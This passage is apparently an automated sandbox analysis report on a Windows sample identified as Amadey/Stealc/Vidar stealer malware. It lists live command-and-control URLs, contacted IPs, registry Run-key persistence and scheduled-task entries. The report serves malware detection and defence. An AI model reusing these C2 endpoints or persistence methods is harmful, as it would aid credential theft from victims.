https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=	skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.	8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2667428725.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://plus.google.com	chromecache_462.5.dr	false		high
http://185.215.113.16/steam/random.exe1395d7f	skotes.exe, 00000019.00000002.5957560093.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_460.5.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php725001	skotes.exe, 00000019.00000003.3728547029.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.0000000001616000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	000003.ldb.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpM	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpN	file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllJ	file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clients6.google.com	chromecache_462.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs	000003.ldb.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedE	skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000019.00000002.5957560093.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpZ	skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/j	8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpf	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpi	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.skype.com/?	000003.ldb.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpI	skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded8	skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpH	skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.184.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
104.93.21.25	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
52.123.243.216	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.145	unknown	United States	16625	AKAMAI-ASUS	false
23.198.7.187	unknown	United States	20940	AKAMAI-ASN1EU	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
3.170.115.57	unknown	United States	16509	AMAZON-02US	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.177	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.46.162.225	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554285
Start date and time:	2024-11-12 10:36:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@88/317@30/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 142.250.185.174, 64.233.167.84, 34.104.35.123, 216.58.206.35, 216.58.206.42, 172.217.16.202, 142.250.181.234, 142.250.184.234, 142.250.185.106, 142.250.186.74, 142.250.185.202, 142.250.186.106, 142.250.185.74, 142.250.185.138, 172.217.18.106, 216.58.212.170, 142.250.185.170, 216.58.206.74, 142.250.186.170, 142.250.185.234, 142.250.74.202, 172.217.18.10, 142.250.186.42, 142.250.186.138, 142.250.184.202, 172.217.16.138, 216.58.212.138, 192.229.221.95, 2.22.50.131, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.184.238, 13.107.6.158, 2.19.126.145, 2.19.126.152, 4.175.223.124, 20.82.9.214, 104.124.11.224, 104.124.11.163, 2.23.209.167, 2.23.209.166, 2.23.209.164, 2.23.209.160, 2.23.209.162, 2.23.209.168, 2.23.209.171, 2.23.209.176, 2.23.209.158, 2.23.209.136, 2.23.209.143, 2.23.209.141, 2.23.209.142, 2.23.209.140, 2.23.209.144, 2.23.209.137, 2.23.209.147, 2.23.209.139, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.16.241.87, 2.16.241.93, 2.16.241.7
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-n
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
04:37:29	API Interceptor	151x Sleep call for process: file.exe modified
04:38:01	API Interceptor	22563077x Sleep call for process: skotes.exe modified
10:37:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:38:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8a46fa4b5e.exe C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe
10:38:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8a46fa4b5e.exe C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe
10:38:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fde0e4bc1c.exe C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe
10:38:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fde0e4bc1c.exe C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mira-tmc.tm-4.office.com	Invoice.msg	Get hash	malicious	Unknown	Browse	52.123.243.71
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.68
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.243.192
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	52.123.243.76
	Baylor financial-RemittanceSeptember 26, 2024_-YTRKOKQTQALJDQKMPCNJ.xlsx	Get hash	malicious	Unknown	Browse	52.123.250.22
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	52.123.243.75
	http://links.notification.intuit.com/ls/click?upn=u001.SkyGoo-2FemZT6Xc-2Fn1lGbnolA50y-2BF9TWqkK0lI1Lm8fNvXP5-2FxDdNExe3CY544wPZVOkx-2Bsb4ktfZUcbQ6XLB20HmfCeoj1T2aelwaQzxGxMnTNFli2-2BrNhm0JvsfNUOIIJqYRWJxaQsuLVs5VCMhffG2lTRKD2VHPufoX4krOa6H9u-2BswQJugvBxenvDm6ryxsAgdom2ZlsPly8gQHTmmGA0e4JqVxBlbpwxEjAi46yNObb7Zpazasei6XkORobIapekQPzXsJ71T45LzvqAQ-3D-3DMkNx_Lz1KNxRQ-2BhpMzFq-2FlH4AKqCRJ4ktuz3qvKgyeRYtJ6yBmvmV-2BZ0U24UegXC0XfOyUEuTSkfSENCnOCwyzKwb0kCHFHFDdnv66AioaHwaO4s5rMAlYpznEILF09jWXOudalvyYlmropwA3gdFfxAbaRZDEWRi21-2B70QtYNIScTeI0VayDvzVjeJlwn1-2BgbfvfBzeS1tuo-2FenkBe8eF-2BE3by5QpSxtITlNfoAVUGXsNlvTZEQM3-2FYR74YwecI-2FDKeE16lgq90rXZHKzunPdGoBerI70g-2FBqptLiyOyE-2BjCDf-2BkiKX4kVfVJC0jehjgxJnWOuKV5vP7P57-2BifRsX4zK95A4kvk3SYQ6b6cBZNhso9U5EX05JF2ZMO3czWZWv9sDz7cz-2FQ-2BVd5yL93eWEITfWo-2FcKvVxsZFCyEEG25yQibnuTqOa6boJpfshWWoiuqSOjthWaNm73jLAWM01JvRU3-2BQ4pk5wG0BCar-2FLcZwCjX-2BQn3saiabdI-2B-2FpPD1zVdQBWYb4ug15lEZ44lMLNBo0Jyoz75uQt-2FGrnRxwx9TJ8t-2Bfn4E8-2BAoPseLpJAVO8o49MEncOq1StLSHHC1MAw6zRNG45dedXm3OTP1oMH1yL0wNogEHoy83st8BzmWmPtNVl3lCzNpI3ps0iYjiS3p9EyxZeHwUYt5rTmsDfr8BPbnvpdb-2BbFkKCLzSN8dJ0oJUylT3TG2600-2BJVSVoJ0n8Dh2HPy-2FbmSgo2WTF5sYH3X9I0Xw8cz6y6aJOTqGp-2F8gdcIuajXkdGUVLC7xQIAV-2FHfoaAzs6NiCMNVeu61LHb-2FdHDydfIMNNQl0qqNVH-2FsILPCgGi7lecZqIT05DXyjrDlEBb3M-2FYGecxFad-2B-2Bux-2FYfoZSDqRSTBC7tQlTtmhsrKVuhy5IpooyvRdlAIWsplAGkVrtjxeJxZ1BZtYqsjENuZgxV5ITi-2BDITOKOpzjiQVV1PuKLkJ-2FIO1B8tO-2BPJ-2Fq54rq0tRq-2BwJ4fsF1jVdeaFC1497rVvFDh00yQOS2vcufkimi10b9eiGGETxWcJ9KUizGHD3uKz5j1WS3wYolTj-2FCGvMysBKRIZ3wqF2ljBUFUirmjyYn2QRBx3sk48bwyql-2B9PQYdne7I-2BMy5atnpZhpFdqUjfYzZ8IAOgg7I-2Fo6-2Brz3WkLf6XgODSEUk1OLNPig9Kah4cP3gw0Zhr5zGY3R1DH-2BQGVeCOHueYWakCXQAj5ydgjlsgEph06b7KUe7Hy1yhcJWj1MnXaP95wGgDhjTVicETnW4s4dmlVmXxp8nWlwEIQvqPQFLoEt2iD1iqu5XecItXuXHzvq2q8I0jE6VYRiE9dNC-2BDlydu4ntCGg5L2qm4s8Kr6DyKcI5wRI-2FEHqQLMBGewDuGPwZ6-2FHohbLDaRkaInJxDGA50w2P1P3Et8px7m0XPOoDT9D5IWzO9-2BKgvkbtnlO4hdyGU4xGccrZlr5u1q2Jc9jjAxxa9HJiA-2BbjeyvY2lqShkOe5vnvBxafBYgqUYAnXRpwgIBg-3D	Get hash	malicious	Unknown	Browse	52.123.250.26
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.184.206
	https://recordatoriosycobroscpxmsa.com/?BSVUKWY9726@YIUVUGSE-928329/hok/WMEJGG0D776/WMEJGG0D/073/zyg/WMEJGG0D/073/zyg	Get hash	malicious	HTMLPhisher	Browse	142.250.186.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.18.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.16.142
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.78
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.184.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	209cf93b79fb8eacd8c4837dfc24f707d5f4a212.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.168.117.168
	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.208.16.94
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	20.2.208.137
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	40.101.137.2
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	209cf93b79fb8eacd8c4837dfc24f707d5f4a212.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.168.117.168
	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.208.16.94
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	20.2.208.137
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	40.101.137.2
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
CLOUDFLARENETUS	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	https://amende-facture.business/ANT	Get hash	malicious	Unknown	Browse	104.21.17.52
	https://contus.sbs/1W9y0ehGg7GKSOy/index.php?lpkey=1743318a399a895397&trkd=fowev.org&lpkey1=6c778ci8wiba3447&language=en-GB&scanid=6c778ci8wiba3447&ip=213.226.90.1&t1=759&t2=54&t3=54:903479&t4=27&t5=4216&dm=1&pbid=4337&uid=0&t6=0&t7=0&uclick=ci8wiba3&uclickhash=ci8wiba3-ci8wiba3-x93y-gx3y-usdz-d54k-8w8n-e987d5	Get hash	malicious	Unknown	Browse	188.114.97.3
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse	104.17.24.14
	209cf93b79fb8eacd8c4837dfc24f707d5f4a212.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://waeems.wae.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	BL New Booking_ 021-34326093HL.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Malzeme i#U00e7in G#U00f6rsel Sipari#U015fler #PO160924R0 _323282.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://amende-facture.business/ANT	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
